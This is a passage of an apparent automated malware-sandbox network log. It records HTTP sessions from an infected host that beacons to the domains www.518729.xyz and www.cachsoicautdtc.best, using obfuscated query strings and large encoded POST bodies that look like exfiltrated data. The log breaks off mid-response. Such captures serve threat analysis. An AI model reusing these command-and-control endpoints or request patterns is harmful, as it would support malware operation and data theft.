Aug 27, 2024 08:03:55.114346027 CEST	15468	OUT	Data Raw: 67 49 6e 6f 4d 4f 6f 46 4c 47 53 6e 4a 31 50 66 56 42 4c 70 76 57 39 42 53 5a 78 61 4c 4c 50 59 73 58 2b 50 31 61 48 47 2b 57 35 78 6e 73 78 38 4f 52 69 34 4b 73 45 31 38 4c 33 57 30 57 50 53 32 71 78 55 49 51 33 5a 53 55 42 38 39 4f 5a 49 7a 77 Data Ascii: gInoMOoFLGSnJ1PfVBLpvW9BSZxaLLPYsX+P1aHG+W5xnsx8ORi4KsE18L3W0WPS2qxUIQ3ZSUB89OZIzwyusJXr1ehlrhV/ZeujuPMyPXd/lN+zFv5KgHET0FE7eQjnYGpWI1KG795CqjmgimE8aHW0Mb7aiC2C9YMatYFxMofbkmcrIbKFXAcLOUqr/A0mEW9D733CVQMzNzHgLH1g3onANlVXf/q/8mdbh6TWiC7wxd+85z5
Aug 27, 2024 08:03:55.114515066 CEST	1289	OUT	Data Raw: 43 77 79 73 78 65 6a 6f 2b 59 74 67 33 50 68 2f 44 62 33 52 59 48 56 4b 37 6c 59 4e 66 31 41 39 69 59 70 59 77 51 5a 47 79 4e 39 4f 72 7a 4f 52 68 2f 32 44 38 54 47 42 71 6b 2b 65 49 43 50 65 64 31 6c 32 59 66 58 61 76 42 78 58 4e 4d 57 4a 67 63 Data Ascii: Cwysxejo+Ytg3Ph/Db3RYHVK7lYNf1A9iYpYwQZGyN9OrzORh/2D8TGBqk+eICPed1l2YfXavBxXNMWJgcr/b2z6NvIHuPPVft5k08pwRXw1cx/iBbHJADm9EdZFoC3/DkXJWr3q4Z2HwKo8NTJIITHXijeHk5X2Rc/T7v4fgmeqcxhLEYuJateyws94nWfdEfj4ufXqaIAqkDSxtcvwl/4Afu58PxQ2WUK8Cx3H+xBAZyL9Aar
Aug 27, 2024 08:03:55.114631891 CEST	1289	OUT	Data Raw: 74 33 4a 65 31 39 6f 71 46 69 2f 2b 6e 49 41 56 78 63 4a 72 47 6d 44 68 2f 4b 53 46 45 52 71 49 4d 50 62 4a 71 79 50 4e 44 6e 63 5a 32 39 31 52 4b 47 46 74 30 75 4c 6c 65 71 46 53 49 66 59 59 7a 70 38 2f 6f 46 70 4c 4d 55 49 66 70 73 4d 36 68 47 Data Ascii: t3Je19oqFi/+nIAVxcJrGmDh/KSFERqIMPbJqyPNDncZ291RKGFt0uLleqFSIfYYzp8/oFpLMUIfpsM6hGhnWMVa7rbL7KXeDMvGZCtI1Wuo0mYK9s3z16aOCoJYPNKy9wdsAdd4InKLE5OB5hdu5M8TpovnK2RDf2bG1EHzY/6Zmg71tNl94jynaYgtijAwiOWiQAQSTe11IxkZDPCvndXGIN3TQJivJbMdBjx/WccSVhevZG5

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.20	49907	23.231.158.3	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:57.626565933 CEST	544	OUT	GET /s1mg/?ij60MtY=2QViuhW/NYaw5nxi+F1oVZq46szrrR71oUxOni/Qn+PFEj/1SakqFOMu9uwTuSiQaklPQGQrKMR1DX8jJ/FrQ8LNcsmQ9XMkBTdB/FoVvRnsRxC4QNxtOLg=&wXB=brv4Erb HTTP/1.1 Host: www.518729.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.20	49908	172.67.191.241	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:03.143290997 CEST	835	OUT	POST /fp5q/ HTTP/1.1 Host: www.cachsoicautdtc.best Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cachsoicautdtc.best Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.cachsoicautdtc.best/fp5q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 73 52 4f 64 78 5a 73 2f 43 64 46 55 5a 4c 47 52 55 37 41 54 33 49 73 59 75 2b 66 74 77 56 57 75 6c 52 57 61 46 62 47 4e 33 42 6b 63 4d 6d 47 30 32 30 39 4a 2f 37 79 4e 57 37 46 6f 58 4e 42 56 36 51 30 6d 4c 39 57 67 64 77 2b 56 4c 33 32 65 49 4d 71 48 38 4b 72 38 4e 65 65 31 58 48 59 32 4a 6d 79 67 6c 32 59 43 4f 50 4a 76 63 7a 71 72 6f 76 71 64 44 6d 5a 73 35 56 61 6d 4e 31 38 45 39 39 51 34 37 55 48 44 56 72 4b 44 53 4d 5a 49 31 55 51 58 63 50 6b 72 52 74 58 6a 66 2b 51 42 65 6b 44 75 71 71 6a 58 46 42 62 4b 2b 43 61 32 36 39 6b 52 45 65 30 53 4c 45 41 4d 49 45 43 45 36 41 3d 3d Data Ascii: ij60MtY=sROdxZs/CdFUZLGRU7AT3IsYu+ftwVWulRWaFbGN3BkcMmG0209J/7yNW7FoXNBV6Q0mL9Wgdw+VL32eIMqH8Kr8Nee1XHY2Jmygl2YCOPJvczqrovqdDmZs5VamN18E99Q47UHDVrKDSMZI1UQXcPkrRtXjf+QBekDuqqjXFBbK+Ca269kREe0SLEAMIECE6A==
Aug 27, 2024 08:04:03.266074896 CEST	865	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 06:04:03 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 07:04:03 GMT Location: https://www.cachsoicautdtc.best/fp5q/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z69u57Tl%2Fw%2BuQAmY4Ey3FIfcoLICdlCg2kMKa8TiHoYMyB5lc7%2BmCAghYICgVTsQxVafTDW8WQI8jYAGcXjHWPmxdhzUv7jhsN771yojX5fFiaeeNI3tHTi4dhrLEkhwEnTI7y28a%2FCflw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8b99dca7facbc936-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.20	49909	172.67.191.241	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:05.782881975 CEST	1175	OUT	POST /fp5q/ HTTP/1.1 Host: www.cachsoicautdtc.best Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cachsoicautdtc.best Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.cachsoicautdtc.best/fp5q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 73 52 4f 64 78 5a 73 2f 43 64 46 55 59 71 32 52 58 61 41 54 78 6f 73 5a 77 75 66 74 2b 31 57 71 6c 52 61 61 46 66 65 64 33 54 77 63 4d 44 69 30 33 31 39 4a 36 37 79 4e 65 62 46 68 4b 64 42 65 36 51 34 41 4c 39 71 67 64 77 71 56 4c 41 32 65 4f 38 71 45 30 71 71 4f 4b 65 65 32 41 58 59 38 4a 6d 2b 53 6c 30 6b 43 4f 38 4e 76 64 78 53 72 73 37 2b 65 56 32 5a 71 6f 31 61 6c 57 6c 38 65 39 39 55 4b 37 57 58 35 57 59 57 44 53 73 35 49 30 55 51 55 48 76 6b 67 59 4e 57 74 61 66 52 6b 66 48 33 36 6b 73 37 4b 45 6a 6a 6c 31 68 75 30 7a 75 51 4b 53 72 38 77 4b 58 68 67 48 58 48 33 74 4e 6c 7a 6e 61 34 4b 32 54 6b 78 66 51 57 2f 6e 69 2f 65 32 48 4a 45 79 2b 79 53 6f 52 75 2f 44 38 6a 54 75 34 65 75 33 48 75 35 68 7a 6d 57 58 67 36 6b 38 30 55 52 63 6e 59 64 44 65 71 56 38 46 42 6e 50 74 33 68 78 7a 76 55 65 2f 37 76 30 6e 52 33 34 70 71 42 49 31 77 33 70 76 4b 62 2b 36 74 62 7a 55 77 77 42 35 61 39 47 77 4e 32 42 6d 76 6c 78 68 54 4f 32 49 54 41 42 4f 5a 4e 79 4d 6e 2b 42 43 6e 33 6d 75 [TRUNCATED] Data Ascii: ij60MtY=sROdxZs/CdFUYq2RXaATxosZwuft+1WqlRaaFfed3TwcMDi0319J67yNebFhKdBe6Q4AL9qgdwqVLA2eO8qE0qqOKee2AXY8Jm+Sl0kCO8NvdxSrs7+eV2Zqo1alWl8e99UK7WX5WYWDSs5I0UQUHvkgYNWtafRkfH36ks7KEjjl1hu0zuQKSr8wKXhgHXH3tNlzna4K2TkxfQW/ni/e2HJEy+ySoRu/D8jTu4eu3Hu5hzmWXg6k80URcnYdDeqV8FBnPt3hxzvUe/7v0nR34pqBI1w3pvKb+6tbzUwwB5a9GwN2BmvlxhTO2ITABOZNyMn+BCn3muKjXLca6BuBA3fcr1XjznpJsD2WBQZzH+QMReya0qQxk9X7gzME43XF+e8CEl2AV6vFzLy2CKywjt/+RKuJuvE+wuWvt1Hw7ejkGGwFQdA1uHI8JVyZzUhYGjb+JCl9WUKBP+7wGV4JZuH0r8fCp5X9dKTUnqhDrx8hf7GLVQiw0dhr0gr9lAPzeIVynpIZXo8+aFkhMpcOSjQ=
Aug 27, 2024 08:04:05.899171114 CEST	865	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 06:04:05 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 07:04:05 GMT Location: https://www.cachsoicautdtc.best/fp5q/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ke%2FHgq5zfq2l7hV5aB3jgi3Y7NMUaenBUu3u0kiCpWMX0HLTwf3GiJdz6EZ1BQrC%2F4MPwCgHNgcoTxRWuwa9%2FLNIi0hdyyXwZui32xhRD1W86xwQtwaCtK%2FSt2o205ngJPKVCVcDzfirUw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8b99dcb87e1ac930-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.20	49910	172.67.191.241	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:08.425949097 CEST	2578	OUT	POST /fp5q/ HTTP/1.1 Host: www.cachsoicautdtc.best Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cachsoicautdtc.best Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.cachsoicautdtc.best/fp5q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 73 52 4f 64 78 5a 73 2f 43 64 46 55 59 71 32 52 58 61 41 54 78 6f 73 5a 77 75 66 74 2b 31 57 71 6c 52 61 61 46 66 65 64 33 53 49 63 50 77 61 30 33 57 6c 4a 35 37 79 4e 55 37 46 73 4b 64 42 35 36 55 55 45 4c 39 6d 57 64 79 53 56 4b 54 2b 65 4f 4f 79 45 68 61 72 70 55 4f 65 30 58 48 59 53 4a 6d 7a 54 6c 30 77 34 4f 50 52 76 63 78 69 72 70 4a 57 64 57 6d 5a 73 6f 31 61 70 41 56 38 38 39 39 59 61 37 57 62 35 57 62 79 44 44 50 42 49 32 44 6b 55 64 50 6b 6e 58 74 57 32 4d 76 52 4e 66 48 6a 41 6b 73 37 38 45 69 58 6c 31 6a 6d 30 79 76 51 4a 54 4c 38 77 44 33 68 6a 4e 48 62 7a 74 4d 4e 72 6e 62 63 4b 32 51 6b 78 5a 41 57 2f 73 6e 54 52 6d 33 4a 43 6b 4f 79 4a 73 52 69 4a 44 2f 66 6d 75 36 53 75 32 33 4b 35 67 43 6d 57 51 46 57 6b 2b 55 55 58 42 58 59 4b 49 2b 71 4a 38 46 78 52 50 73 62 75 78 31 76 55 59 65 62 76 69 32 52 30 2b 4a 71 48 52 46 77 75 74 76 48 61 2b 36 64 48 7a 55 78 39 42 34 65 39 47 44 46 32 43 6e 76 69 32 78 54 56 35 6f 54 4f 4c 75 6c 48 79 4d 72 6d 42 44 75 6f 6d 73 [TRUNCATED] Data Ascii: ij60MtY=sROdxZs/CdFUYq2RXaATxosZwuft+1WqlRaaFfed3SIcPwa03WlJ57yNU7FsKdB56UUEL9mWdySVKT+eOOyEharpUOe0XHYSJmzTl0w4OPRvcxirpJWdWmZso1apAV8899Ya7Wb5WbyDDPBI2DkUdPknXtW2MvRNfHjAks78EiXl1jm0yvQJTL8wD3hjNHbztMNrnbcK2QkxZAW/snTRm3JCkOyJsRiJD/fmu6Su23K5gCmWQFWk+UUXBXYKI+qJ8FxRPsbux1vUYebvi2R0+JqHRFwutvHa+6dHzUx9B4e9GDF2Cnvi2xTV5oTOLulHyMrmBDuomsmjWrca8iGGZXfhgVXx8HpnsDygBV5FHOsMfOiajqQ+idX/pTMO83XF+exlElKAVI/Fy7i2Hbywht/8RKucuv47wueBt1Wl7cPkGUIFRpU0lnI9NVzZ508QGi32JCUIWkmBO+rwCV4KP+Hz8MfYt5bpdKPqnqUEryshPO6RGUTvvL53/grakBjjRq8J2aoxeMY6aFxsXthKEn2CYmQNVho+eupBW/PVWLaXYkHGcW5BQJqvhoF/jASUG14xRJESd7vLHrbN03HCy6oM/UT21J9Pzs0ItP83e0qCFl+xbrXCdi/MOF4u9EWnyAPyjySwg0kibQ3K9QS7MmIOGP/LaOAza4RQwlajvpk2H2cjfh9MxG4tsYIejRe0UHBt3oG4KEqeQ8qB2jGtsKux1yXm7CqmJppY9cwfwhKLvlHf5xGDQXyy+LC0Cl7yYMedYCeXY/OXl0D046JeLYf/iXKLm7pJJHudPuKFfxWFe8IQFcASJqTsVWq7vfjA0pd+VPteldpEhmNG3IX2yGEHR4xPgVE7m5fxNiqVXOAdr3tHfKFSVy5scsLNgCtCdZ9OOkH2gpOM5LKqJUmovMnKPRqfJbpPYl1JRcUaF8XWKT2+Yru9ctMNMyhVFjzDGCbnTmDk/nnFZR1XzPDP7aBPfPoHfFtKZMSsbsuAxWJX [TRUNCATED]
Aug 27, 2024 08:04:08.426000118 CEST	7734	OUT	Data Raw: 4c 49 55 43 45 34 31 45 67 58 4f 67 49 59 59 4b 6e 37 32 32 66 75 30 63 6e 68 31 72 57 68 70 69 67 68 74 67 75 50 70 4c 52 4e 51 76 71 64 4a 4b 64 6b 48 41 53 4a 76 79 39 6a 6c 55 65 4a 32 65 6e 62 68 33 44 6e 79 57 32 75 46 6a 6d 31 78 47 37 37 Data Ascii: LIUCE41EgXOgIYYKn722fu0cnh1rWhpightguPpLRNQvqdJKdkHASJvy9jlUeJ2enbh3DnyW2uFjm1xG77O+NdCsiqgYlo4502REh3/1MyGvHdXICtWQJj8XS5YGhRnyBb/g3pzi1TFoPA6LrwFN7bav9H0lmgyLDY/LuUvkGldiq8WXNbwn05G5ZyasqnBdzVIXM5ADIZLiU2QrGiE0zXH18fjtV/k4XeGVTlE9pP/njGJC22R
Aug 27, 2024 08:04:08.426045895 CEST	2578	OUT	Data Raw: 68 58 43 6d 79 2f 33 6c 70 55 62 37 52 6b 78 64 50 34 6c 67 30 47 74 57 63 51 4f 50 32 31 33 56 56 2f 39 32 34 4b 55 4b 62 55 59 63 56 69 6d 67 49 72 54 4f 36 39 6c 48 34 37 46 51 62 4f 52 42 68 6f 4d 62 57 52 69 46 72 63 4b 67 33 36 51 71 67 6f Data Ascii: hXCmy/3lpUb7RkxdP4lg0GtWcQOP213VV/924KUKbUYcVimgIrTO69lH47FQbORBhoMbWRiFrcKg36QqgotCcNME1flBy75r1T+Z7ZmB663ty6UL/t3oadZK2HYAXKcqVzn1sRys4wTPkLHR8U1stP1Kfvc6L0ygAicz4iNkOx46DgetPoePBEnOu6xsL4c7/WeOLFL9m4zmZCP2DYkZ+H9S13K9KyRkZzgnBssvnp8fXKMS35E
Aug 27, 2024 08:04:08.526913881 CEST	2578	OUT	Data Raw: 63 53 6f 77 2b 56 74 53 75 51 72 56 47 65 46 2b 6e 32 79 78 38 39 36 57 64 64 56 67 73 76 77 6f 33 5a 75 36 46 47 6e 66 76 71 74 31 4d 55 7a 30 2b 6c 65 6b 54 50 59 49 56 6a 7a 6b 37 38 74 55 72 70 32 57 4b 76 6d 64 57 4a 30 33 6f 4a 4a 46 73 45 Data Ascii: cSow+VtSuQrVGeF+n2yx896WddVgsvwo3Zu6FGnfvqt1MUz0+lekTPYIVjzk78tUrp2WKvmdWJ03oJJFsE/lbGBSScZBZbnadenmGtEpz0KnmL5szzSMcXOmzeOO4HwVSL0KwD9EPruaqOEDHmvR99CcSouFEi1aSpLIh2fm4M4oufviDvfhZvIQgnyQyXaPiGuUdOh2ZPypZn3QAvJS397VVlhE13B9vKCmI+aci/2FQRPwaoU
Aug 27, 2024 08:04:08.526966095 CEST	6445	OUT	Data Raw: 4e 53 53 74 73 43 74 6c 66 78 34 4f 38 72 53 4f 77 5a 31 6e 6c 66 72 78 37 46 59 69 7a 38 63 57 57 36 6a 57 32 74 2f 7a 62 6a 4e 4f 69 35 45 6e 68 33 61 41 79 66 32 46 42 57 43 43 4e 7a 44 67 50 41 63 45 77 58 42 4b 76 36 78 37 6a 61 43 78 31 58 Data Ascii: NSStsCtlfx4O8rSOwZ1nlfrx7FYiz8cWW6jW2t/zbjNOi5Enh3aAyf2FBWCCNzDgPAcEwXBKv6x7jaCx1Xm/+CMFfAjvihkrr0YV4Xqnqti1ChpGuFKdhVl5xVtp7sbJ/FGcyVxvLJWktAJb3QFEfb4BrMwyQ9i/HZl2mfgD85dgJ/hmjmJxcJ2sqp1YMbh2g4TIJPNEC2S/ti2sHvU0/Ejx70OJJEDwxP73sgdyRm8ARx2+BqM
Aug 27, 2024 08:04:08.527012110 CEST	1289	OUT	Data Raw: 46 55 51 4f 44 58 72 6d 6c 6d 70 33 4a 59 66 6c 34 5a 6b 39 6f 72 41 38 4c 75 41 58 42 2b 63 41 69 41 42 53 33 5a 6a 59 56 65 59 35 73 70 56 44 6b 42 42 68 4a 70 4a 33 34 65 48 56 49 4c 51 31 61 64 77 67 6c 6f 45 64 39 50 6f 65 66 36 72 52 64 65 Data Ascii: FUQODXrmlmp3JYfl4Zk9orA8LuAXB+cAiABS3ZjYVeY5spVDkBBhJpJ34eHVILQ1adwgloEd9Poef6rRde/fcDVHT8GRCS9Q5JrZsjVAinrj88zHOndw3PP60VfsicFcmQA1Bvp5Pmu6vmJrShZw7tocsNXo7ZwooV1/i4+LBdWKG1RvjXra2XqKmeqJyK3wQP+m1GHbqdf6f1saLGIw+ABuAbIysVBxwYYsZ4mCKq7MyrrLYgD
Aug 27, 2024 08:04:08.527184010 CEST	5156	OUT	Data Raw: 5a 67 4c 62 6d 44 46 64 6d 7a 4a 42 64 73 35 67 43 56 53 37 50 4f 4f 2b 49 44 59 5a 7a 4d 47 52 61 4d 59 41 67 37 61 72 48 57 67 56 53 4b 64 48 6b 42 62 37 66 4a 4e 6e 42 38 72 51 4b 38 4f 51 37 58 36 4c 6b 4e 6e 45 67 41 59 65 72 4e 77 67 66 48 Data Ascii: ZgLbmDFdmzJBds5gCVS7POO+IDYZzMGRaMYAg7arHWgVSKdHkBb7fJNnB8rQK8OQ7X6LkNnEgAYerNwgfHw5vCH1KA+55pO0P5Y8Il4W7/ZuoKpWrF4L6Jl2cDw4N+5BUDeQAc29i4YN5x6hVHaOeaHnlf1TWqVI4bL7gGyVCSYQLVNBehq9+eBxRL0eJmmEf1/+e7PP7QqhqQudPWIr+m5o+n/akYKQf2tSGKiZaElYWalMXLs
Aug 27, 2024 08:04:08.527352095 CEST	1289	OUT	Data Raw: 76 6e 57 69 45 72 74 4c 4b 4c 38 4f 2b 32 63 4d 6f 6e 33 42 43 36 70 75 36 32 43 2f 5a 6f 72 41 4d 35 33 43 6a 43 66 5a 4a 77 66 48 58 32 30 2b 4e 65 35 69 47 30 50 65 30 72 36 37 50 44 4c 77 6c 4d 2b 31 62 73 38 46 5a 6d 58 6f 48 42 61 30 49 33 Data Ascii: vnWiErtLKL8O+2cMon3BC6pu62C/ZorAM53CjCfZJwfHX20+Ne5iG0Pe0r67PDLwlM+1bs8FZmXoHBa0I31dnq7ATWy/IXx+p4Kk6Zn27BUZjc00Ocf/ND1X8OUi12cBUUgjnwm0q9kF1RaUZjIfXR9ZV7jd23uaJiHDnYkFgj/Hl2OgMjNAFKgG5Hc7DCAVoIoJMKvtc+zO42b+uLJSM9wk1rP6yIXRUU7MQVpB0S4eNXXoazu
Aug 27, 2024 08:04:08.527439117 CEST	3867	OUT	Data Raw: 36 43 4e 32 64 32 61 65 34 4d 58 45 48 62 35 53 37 6d 6c 59 4b 70 75 49 51 67 6f 42 4c 42 44 4f 64 45 30 31 6e 31 6f 72 6b 6d 67 64 6d 48 6e 75 78 6e 30 41 69 57 79 66 4b 59 7a 77 57 66 58 59 33 2f 46 56 50 4d 70 75 62 41 45 50 52 6a 39 38 2b 4b Data Ascii: 6CN2d2ae4MXEHb5S7mlYKpuIQgoBLBDOdE01n1orkmgdmHnuxn0AiWyfKYzwWfXY3/FVPMpubAEPRj98+KpKQLen/7LS/2BlmTBcZ2KYQ8MEy+++b3C48RY4Cdxg2N5oqv9ff7xaBU/0XY6Ie1jFGLpyL+vdKTFd75yytwbQPvCrM59lVV/i5QChPjNiJ1riQ7ABmafqYemHeeMTnVqtmRWgnMZbmA4nuxj7WcpfslXUiwmzK73
Aug 27, 2024 08:04:08.527632952 CEST	5156	OUT	Data Raw: 4a 35 6a 6c 43 78 59 68 4b 77 69 6e 50 41 56 69 56 2f 76 36 75 57 42 4a 49 51 75 6e 58 4c 44 58 78 4e 4e 43 4d 46 39 4b 78 56 4c 41 5a 5a 2f 2b 61 66 64 54 42 49 53 42 71 71 69 31 33 47 66 57 43 35 73 42 61 59 75 51 6d 6d 65 78 72 63 35 2b 49 4d Data Ascii: J5jlCxYhKwinPAViV/v6uWBJIQunXLDXxNNCMF9KxVLAZZ/+afdTBISBqqi13GfWC5sBaYuQmmexrc5+IM0if1AovmVHjt3jxntLu8tHXaKbzHEfHiq1Q/mYoxXf+zRB/yGNhK5MH7NU4FZ3kj1XEfYXmSC6H6IC2QeGopgpwtRDf0IsNFFTmVpVZF3WnlrKbZnilP32Vkn/wiL3dZ7tQE9o9y4EKQR/Vxc2/YhpFEVycmnphfq
Aug 27, 2024 08:04:08.544146061 CEST	869	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 06:04:08 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 07:04:08 GMT Location: https://www.cachsoicautdtc.best/fp5q/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rYa4dAEq3NpB4%2BPWp2NWEKafRfqmEu%2B0nQn%2BxcfeurmZIGcK7HH9hvlyazVA%2BP6moIVTy5efVQVKHUN13s9LyfwF8%2FB34kiC6%2BdVDhCVy5jjHJxy3FbsxDMUgLjEiQlOytnQvKI6mdbaqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8b99dcc8fec05aed-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.20	49911	172.67.191.241	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:11.060709953 CEST	553	OUT	GET /fp5q/?ij60MtY=hTm9ypMPCvkZHpXOUIowtI5N2+z4niygtjCFVe/8mioZPRfz5TFJ3IewZaR+NPU03UUaFdubUQ2FIRqoOOixztWDEcr2XGgHHm20+kxsPtJkRiaVsamec0k=&wXB=brv4Erb HTTP/1.1 Host: www.cachsoicautdtc.best Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:04:11.175339937 CEST	989	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 27 Aug 2024 06:04:11 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Tue, 27 Aug 2024 07:04:11 GMT Location: https://www.cachsoicautdtc.best/fp5q/?ij60MtY=hTm9ypMPCvkZHpXOUIowtI5N2+z4niygtjCFVe/8mioZPRfz5TFJ3IewZaR+NPU03UUaFdubUQ2FIRqoOOixztWDEcr2XGgHHm20+kxsPtJkRiaVsamec0k=&wXB=brv4Erb Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kTzVhj1f0Z7BgVkxLl%2FJhVP1YIDGGfPUoJzxdAzJ%2Fj2cp%2BUS39b3HfeI%2FiDGJRBzcdvfW%2BGhISWhatQzP9nlNz9RUMaie0qR40M2jYSvdmtG5jW%2BJO6MYy8xDRLHgWwNkn8%2BGDJUdOFE1Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b99dcd979680668-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 